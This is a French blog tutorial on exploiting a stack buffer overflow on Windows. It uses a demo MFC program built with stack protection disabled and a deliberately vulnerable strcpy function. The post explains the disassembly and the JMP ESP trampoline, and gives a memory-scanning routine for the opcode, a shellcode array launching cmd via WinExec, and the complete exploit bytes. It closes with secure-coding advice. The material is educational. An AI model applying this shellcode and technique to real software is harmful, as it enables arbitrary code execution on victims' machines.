dimanche 8 octobre 2017

Stack Buffer Overflow


I.    Introduction

Nous allons représenté dans cette article comment fonctionne les buffers overflow  

Le concept général d’une attaques par  « Buffer overflow » ( débordement de tampon ou également appelée dépassement de pile), consiste à faire crasher un programme en écrivant dans un buffer au travers d'un flux d'entrée plus de données qu’il ne peut en contenir (un buffer est un zone mémoire temporaire utilisée par une application), dans le but d'écraser des parties du code de l’application et d’injecter des données utiles pour exploiter le crash de l’application.
Cela permet de prendre le contrôle sur l'exécution du programme cible et en générale pour lui faire exécuter du code sur la machine hébergeant la dit application vulnérable.
L’intérêt de ce type d’attaque est qu’il ne nécessite pas en majorité d'accès au système cible, ou dans le cas contraire un simple accès restreint est largement suffisant.
Il s’agit donc d’une attaque redoutable et difficile à bloquer .
D’un autre côté, elle reste difficile à mettre en oeuvre car elle requiert des connaissances avancées en programmation.
De plus, bien que les nouvelles failles soient largement publiées sur le web, les codes ne sont pas ou peu portables.
Une attaque par buffer overflow signifie en général que l’on a affaire à des attaquants très pointue techniquement.

Vous trouverez beaucoup d'information sur internet sur le "Buffer Overflows", mais le sujet est moins décrit pour l'environnement Windows. Ici nous allons particulièrement aborder sur cette axe étant le quand même l'OS le plus courant pour les postes utilisateurs.

II.    Disposer d'une cible vulnérable



Nous allons utiliser un exemple de démonstration et pour une fois le flux d'entrer ne sera pas classiquement les arguments du processus comme c'est souvent le cas.

Mais via l'interface lui-même au travers de la saisi de teste d'une fonction vulnérable


























Note le programme a été compilé avec Visual Studio ( par contre pour éviter que celui-ci protége les buffers. Nous avons désactiver /GS )





Comme un débordement de tampon ( Buffer Overflow) est une anomalie dans un programme, lors de l'écriture de données dans un tampon ( Buffer ), dépassant la limite sur le buffer et écrase les emplacements de mémoire adjacents au buffer. L'écriture de données en dehors des limites de l'espace de mémoire allouées peut conduire à un dysfonctionnement du programme
Nous allons donc utiliser des fonctions ne garantissant pas ce contrôle comme
strcpy (), strcat (), sprintf () ,gets ( ) , scanf ( ) .

Voici notre fonction vulnérable incluant strcpy(..) qui sera la suivant :


bool FnTestAccess(char* pszPassword)
{
            char szPassIn[8];
            strcpy(szPassIn, pszPassword);

            if(strcmp(szPassIn,"pwd"))
            {
                        MessageBox(NULL,"Access Denied","Information",MB_OK);
                        return false;
            }

            return true;
}

Comme vous verrez certaines fonctions du langage C, telles que les fonctions strcpy() ne gèrent pas de contrôle sur la taille de donnée pouvant recevoir le tampon cible.

Regardons de plus prés cette fonction C

char *strcpy(  char *strDestination,  const char *strSource );  

Cette fonction va simplement copier les octets pointés par strSource dans ceux pointés par strDestination. Les données qui figuraient dans strDestination seront écrasées. La fonction strcpy s'arrête dès qu'elle trouve un octet NULL  ( 0x00 )  dans strSource.

C'est là le souci, nous avons volontairement dans notre exemple exagérer en  fixer la taille à 8 octets de notre buffer destinataire.

Ainsi temps que  le buffer de strSource à un taille inférieur à 8 ( C.A.D  7 une chaîne de 7 caractères  car il y a fin de chaîne à compté 0x00 )
Nous n'avons de souci dans le fonctionnement de la fonction vulnérable .

Mais si nous passons plus de caractères à celle-ci. Que ce passe-t-il  exactement ?

passons par exemple "0123456789ABCDEF" à notre fonction






























Nous obtenons un plantage de l'application ( C'est ce que l'on chercher ).
Il est intéressant de regarder le détails du problème, vous devriez voir quelque chose d'intéressant  0x42413938 qui indique votre programme voulez exécuter une instruction  à l'addresse 0x42413938 mais ce bloc n'est pas taggué en autorisation pour l'exécution d'ou l exception violation d'accès Mémory 0xC0000005

Hors en ASII en consultant la table des valeurs hexadécimale
 

  
















Nous retrouvons  0x42 = 'B' / 0x41 ='A' / 0x39 = '9' / 0x38 = '8'

Si nous cela est ramener sur une représentation mémoire. Nous voyons que nous avons écraser les blocs mémoire adjacent au tableau  ( char szPassIn[8]; ). Partie orange sur notre schéma de la mémoire.



Nous allons donc, nous intéressé plus en détail au bloc concerné. Mais avant de rentrer dans l'analyse assembleur du programme et de la fonction

Pour donner un avant goût de la suite, nous avons deux boutons sur notre interface lançant de simple MessageBox(....) et pour chacun nous disposons de l'adresse des fonctions

0x00401710  pour la fonction appelant  MessageBox(NULL,"Hask1","BufferOverflow",MB_OK);

0x004017D0  pour la fonction appelant  MessageBox(NULL,"Hask2","BufferOverflow",MB_OK);


Nous allons positionner dans le bloc orange adjacent le buffer ( char szPassIn[8]; ) l'adresse de la fonction  0x00401710.Hors nous ne pouvons  passer que des chaînes de caractère à ce programme pour teste la fonction via EditBox. Il nous faut donc convertir les
l'adresse 0x00401710 en sa notation ASCII notre DWORD est représenté  en mémoire de la maniére suivant  0x10 0x17 0x40 0x00 via la table ASCII cela nous donne "@" . Pour la suite et pour pouvoir faire la démonstration, nous avons intégrer un convertisseur dans le démonstrateur effectuant la conversion  des chaîne ANSI en Hexa.

 







Maintenant passons à notre fonction la chaîne



Et nous avons bien l'affichage du premier Messagebox de notre fonction vulnérable


























Mais juste après avoir cliquer sur le bouton OK, une autre MessageBox apparait !

 
























Bien sûr, des que vous cliquez sur le bouton OK, le programme va planté



























Voila, nous avons détourner le fonctionnement du programme, nous avons détourner l'exécution de ce programme de démonstration et avons la main sur son exécution.

Maintenant que vous visualiser ce qu'est un BufferOverflow, Cette exemple ici est purement conceptuelle. Mais il faut comprendre que des applications Web sous PHP on  application du commerce on exactement le même souci ( bien sûr  , c'est un plus complexe a exploité  comme nous le verons dans la suite) . Des qu'une application prendre flux d'entrer et cela peut être variable fonction du type d'application ( Fichier .mp4 , saisie clavier via l'interface , intéraction web. Il y a potentiellement possibilité de faille BufferOverflow.

MAIS EN REALITE, IL EST TRES DIFFICILE DE TROUVER UNE FAILLE AUSSI SIMPLE QUE CELA DANS UNE APPLICATION. CAR CELA DEMANDE DES CONNAISSANCES  IMPORTANT POUR PASSER LES CONTRE MESURE ET LES PROTECTIONS MISE EN PLACE POUR PROTEGER CELA DANS LE CODE.

Comme indiqué dans ce exemple, nous avons compiler le programme en configurant déjà l'option /GS désactivé . 

Maintenant passons au chose sérieuse et rentrons dans l'analyse technique pour cette fois-ci exécuter un  shellcode à nous et non uniquement router l'appel . 

III.    Analyse de la fonction vulnérable


Nous  allons utilisons un programme permettant de voir le code Assembleur à la volé dans un processus
00401360:   8B 44 24 04                  MOV EAX,DWORD PTR [ESP+04h]
00401364:   8D 54 24 F8                  LEA EDX,[ESP-08h]
00401368:   83 EC 08                       SUB ESP,08h (On alloue l'espace de 8 octets sur la stack)
0040136B:   2B D0                            SUB EDX,EAX
0040136D:   8D 49 00                       LEA ECX,DWORD PTR [ECX+00h]
00401370:   8A 08                              MOV CL, BYTE PTR [EAX]
00401372:   88 0C 02                       MOV BYTE PTR [EDX+EAX*1],CL 
00401375:   83 C0 01                       ADD EAX,01h
00401378:   84 C9                             TEST CL,CL
0040137A:   75 F4                              JNZ F4h (rel8)(-0Ch ->:00401370)
0040137C:   56                                   PUSH ESI
0040137D:   57                                   PUSH EDI
0040137E:   BF 3C D1 42 00           MOV EDI, 0042D13Ch SECTION[.rdata](0x0042D13C):pwd
00401383:   8D 74 24 08                  LEA ESI,[ESP+08h]
00401387:   B9 04 00 00 00            MOV ECX, 00000004h "

"
0040138C:  33 C0                             XOR EAX,EAX
0040138E:   F3 A6                             REP CMPSB
00401390:   5F                                   POP EDI
00401391:   5E                                   POP ESI
00401392:   74 18                              JZ 18h (-FFFFFFE8h ->:004013AC)
00401394:   50                                   PUSH EAX
00401395:   68 40 D1 42 00            PUSH 0042D140h "@ÑB" SECTION[.rdata](0x0042D140):Information
0040139A:   68 4C D1 42 00           PUSH 0042D14Ch "LÑB" SECTION[.rdata](0x0042D14C):Access Denied
0040139F:   50                                   PUSH EAX
004013A0:   FF 15 CC 93 42 00      CALL DWORD PTR DS:[004293CCh]  IAT > USER32.dll.MessageBoxA
004013A6:   32 C0                             XOR AL,AL
004013A8:   83 C4 08                       ADD ESP,08h
004013AB:   C3                                  RET
004013AC:   B0 01                             MOV AL,0x01
004013AE:   83 C4 08                       ADD ESP,08h
004013B1:   C3                                  RET

Si nous mettons en parallèle avec le code C de notre fonction

 bool FnTestAccess(char* pszPassword)
{
            char szPassIn[8];
----------------------------------------------------------------------------------------------------------------------------------------
            strcpy(szPassIn, pszPassword);

            if(strcmp(szPassIn,"pwd"))
            {
                        MessageBox(NULL,"Access Denied","Information",MB_OK);
                        return false;
            }

            return true;
}


Maintenant passons à la modélisation de la stack ( Pile ) au moment du trait imaginaire en pointillé, nous obtenons une stack suivant:  
































Cela correspond au bloc assembleur suivant :

00401360:   8B 44 24 04                  MOV EAX,DWORD PTR [ESP+04h]
00401364:   8D 54 24 F8                  LEA EDX,[ESP-08h]
00401368:   83 EC 08                       SUB ESP,08h (On alloue l'espace de 8 octets sur la stack)
 
Ou l'on a l'adresse ( pointeur vers notre tableau pszPassword ) qui est mis dans EAX
Ligne en bleu ( 0x00401360) en suite il y a l'allocation du tableau et la mise de l'adresse ( pointeur sur szPassIn) dans EDX.
L'ordre de ses deux lignes n'a pas d'importance 
L'allocation est la ligne (0x00401368) en rouge et la ligne noir ( 0x00401364 ) l'affectation EDX avec le pointeur du début de tableau

Maintenant regardons les lignes suivant:

0040136B:   2B D0             SUB EDX,EAX
0040136D:   8D 49 00         LEA ECX,DWORD PTR [ECX+00h]
00401370:   8A 08             MOV CL, BYTE PTR [EAX]
00401372:   88 0C 02         MOV BYTE PTR [EDX+EAX*1],CL 
00401375:   83 C0 01         ADD EAX,01h
00401378:   84 C9             TEST CL,CL
0040137A:   75 F4             JNZ F4h (rel8)(-0Ch ->:00401370)

Elle correspondront tous simplement à notre "strcpy(szPassIn, pszPassword);"
Et c'est là le souci c'est une boucle  tant qu'il y a pas le caractère de fin de chaîne il va copier le caractére dans le buffer cible

int iEAX = &pszPassword[0];  
int iEDX = & szPassIn [0];

iEDX = iEDX - iEAX;    
do
{
         char cCL = *( iEAX );
         *(iEDX+iEAX) = cCL;
         iEAX++;
}while(cCL != 0x00)

Pour les personnes peu habitué à l'assembleur pour des raisons pratique
Le compilateur au lieu d'écrire et pouvoir utiliser un registre partant de 0 qu'il incrément , il utilise EAX mais celui contient l'adresse de référence et donc effectue une pirouette classique en  
Ligne ( 0x040136B) , il fait une soustraction EAX initial pour en suite lors le da copie ajouter la valeur EAX.

Il est évident que si l'on passe plus de caractère que 8 ont va écraser l'adresse de retour  stocké sur la pile et en suite écraser les arguments et ainsi de suite jusqu'a la fin de chaîne 0x00.

 Maintenant devons trouver un moyen passer de cette adresse de retour en rouge à permettre d'arriver à pointer sur l'adresse de la ESP+4 pour executé nos instructios . car fin de l'appel de la fonction EIP = EBP qui pointe sur "Return Address" pour revenir après l'appel de cette fonction au code principe ayant appeler la fonction.

Pour effectué ce passage que via l'adresse contenu dans "Return Address" nous puissions continuer l'exécution sur les instruction sur la Pile ce trouvant à la suite pointer par ESP+4

Il existe plusieurs techniques , mais avons nous allons montrer le classique Jmp ESP qui est le scénarios le plus confortable 

En positionnant une adresse pointant vers une instruction X le processeur va continuer son exécution à l'addresse ciblé et et incrémenté ESP de 4. Donc à ce moment ESP pointe sur la suite de notre bufferoverflows positionner sur la pile zone ( Jaune ) qui sera notre shellcode que nous souhaitons justement pouvoir executé.

En utilisant l'adresse d'une instruction Jmp ESP positionner dans "Return Address", le programme va continuer son exécution sur le bloc mémoire de la pile qui dans notre schéma le shellcode


 
 
l'addresse de notre instruction Jmp ESP doit est dans l'espace haut pour que son adresse ne contient pas 0x00, sinon nous le strcpy ne copiera pas la suite des instructions dans la pile.

Ce que nous venons de décrit s'appel la technique du trampoline vers une Dll ( Jmp ESP/Call ESP )
Nous remplaçons l'adresse de retour par une adresse de kernel32.dll qui contient l'instruction JMP ESP ou un Call ESP.

IV.    Trouver une instruction JMP ESP en Mémoire

 

Maintenant il faut trouver l'adresse d'un JMP ESP dans la mémoire, ce qui permettra de aller à l'exécution de notre shellcode.

Il existe différent outil permettant cette opération via OllyDbg , x32Dbg , ImmunityDebugger Ou via des petit tools dédier comme l'outil Findjmp2.exe

Dans notre exemple nous avons directement auto scanner la mémoire pour trouver l'emplacement d'un Jmp ESP dans la DLL "kernel32.dll" du processus pour disposer des adresses de deux instructions

 












Voici le petit code utiliser pour cette recherche
 
void CSampleMFCBufferOverflowDemo1Dlg::OnBnClickedBtFindJmpESPInMemory()
{
                //Find jmp esp      FF E4
                DWORD dwAddrKernel32 = (DWORD)GetModuleHandle("kernel32.dll");

                char* pFind = (char*)(dwAddrKernel32) + 0x15000;

                DWORD dwAddrfindJumpESP = 0x0;
                unsigned char cOpCode1,cOpCode2;

                for( int i=0;i<0x50000;i++)
                {
                               cOpCode1 = pFind[i];
                               cOpCode2 = pFind[i+1];

                               if(cOpCode1==0xFF && cOpCode2==0xE4  )
                               {
                                               dwAddrfindJumpESP = dwAddrKernel32 + 0x15000 + i;
                                               break;
                               }
                }

                std::string sAddrJmpESP =  Convert_DWORD_To_sHex((DWORD)dwAddrfindJumpESP);
                sApi_SetDlgItemText(this->m_hWnd,IDC_ED_FIND_JMPESP,sAddrJmpESP);
}
 

V.    Le Shellcode  d'exemple


Pour notre démonstration, nous allons pas chercher très loin notre petit shellcode
Nous allons effectuer le lancement de cmd via Api WinExec et terminer le programme via ExitProcess qui est un basic de l'initiation à assembleur que vous trovuerez N sites Web

nous avons mis en dure les addresse des API WinExec et ExitProces  par rapport à notre programme

Voici le shellcode  que nous allons utiliser pour notre démonstration


char shellcode_Exploit[] =         "\x8B\xEC\x33\xDB\x53\xC6\x45\xFC\x63\xC6"
                                               "\x45\xFD\x6D\xC6\x45\xFE\x64\x8D\x45\xFC"
                                                "\x50\x6A\x01\x50\xB8\xC6\x84\xE4\x77\xFF"
                                                "\xD0\xB8\xB5\x5C\xE5\x77\xFF\xD0";


Nous vous avons remis le code en assembleur pour visualiser ce que fait celui-ci



00000000:   8B EC                    MOV EBP,ESP
00000002:   33 DB                    XOR EBX,EBX
00000004:   53                          PUSH EBX
00000005:   C6 45 FC 63           MOV BYTE PTR [EBP-04h],63h => 'c'
00000009:   C6 45 FD 6D          MOV BYTE PTR [EBP-03h],6Dh => 'm'
0000000D:   C6 45 FE 64          MOV BYTE PTR [EBP-02h],64h => 'd'
00000011:   8D 45 FC               LEA EAX,DWORD PTR [EBP-04h]
00000014:   50                          PUSH EAX
00000015:   6A 01                     PUSH 1h
00000017:   50                          PUSH EAX
00000018:   B8 C6 84 E4 77      MOV EAX, 77E484C6h "Æ„äw" // Address WinExec
0000001D:   FF D0                    CALL EAX
0000001F:   B8 B5 5C E5 77     MOV EAX, 77E55CB5h "µ\åw" // Address ExitProcess
00000024:   FF D0                    CALL EAX

VI.    Construction de l'exploit


Nous allons maintenant construire notre exploit de permettant de lancer notre "cmd"

Il sera composer 3 bloques

8 caractères quelconques exemple abcdefgh + DWORD(Return Address) + Notre ShellCode(WinExec(Cmd))

Via le démonstrateur, nous avons les 3 blocs nécessaires



 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Ce qui nous donne au finale le bufferOverflow à insérer en hexa

61 62 63 64 65 66 67 68 3D 94 6E 76 8B EC 33 DB 53 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 6A 01 50 B8 DF 32 69 76 FF D0 B8 4E D8 6C 76 FF D0 00

Maintenant en le convertissant en caractère ASCII, cela donne la chaîne suivante:

"‹ì3ÛSÆEücÆEýmÆEþdEüPjP¸ß2ivÿиNØlvÿÐ"

Testons en mettant dans l'EditBox pour que celui-ci soit passer à notre fonction vulnérable




























 
 
 
 
 
 
 

 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Des que l'on clique sur le bouton, nous retrouvons l'affiche de notre MessageBox inclus 
dans la fonction vulnérable.
 
 
 

Des que l'on clique sur le bouton OK de la MessageBox  un cmd apparaît et le programme est fermé
 
 
 

VII.    Conclusions


Nous espérons que cela, vous a permis de mieux comprendre les "Buffer Overflow" sur la Stack(Pile).

Maintenant pour écrire du code sécurisé pour éviter les attaques par débordement de pile. En C , il y a un certain nombre de fonctions vulnérables que les hackers peuvent exploiter pour les BufferOverflows sur la pile. Pour limité ce risque il faut réduire vos utilisations de ces fonction comme  strcpy (), strcat (), sprintf () et vsprintf (), qui ne n'effectue pas de contrôle sur les  limites de taille. Si possible , évitez d'utiliser gets( ) également , qui ne précise pas le nombre de caractères à lire et laisse donc votre code vulnérable . Si vous utilisez scanf ( ) , n'oubliez pas de spécifier une largeur pour le format pour éviter les dépassements .

Si vous devrez quand même utilisé certaine fonction lors de code porté, pensé à intégrer le contrôle de taille de votre côté et seulement ensuite appeler celle-ci.

Mais pour se protéger ou limiter ce type d'attaque, il est nécessaire de développer des applications à l'aide des compilateurs et utiliser des outils d'analyse de code, assurant une passe sur le code et le compilateur avec de bonne option effectuera  une gestion fine de la mémoire allouée et pour le développeur d'utiliser des bibliothèques de fonctions sécurisées (par exemple les fonctions strncpy()).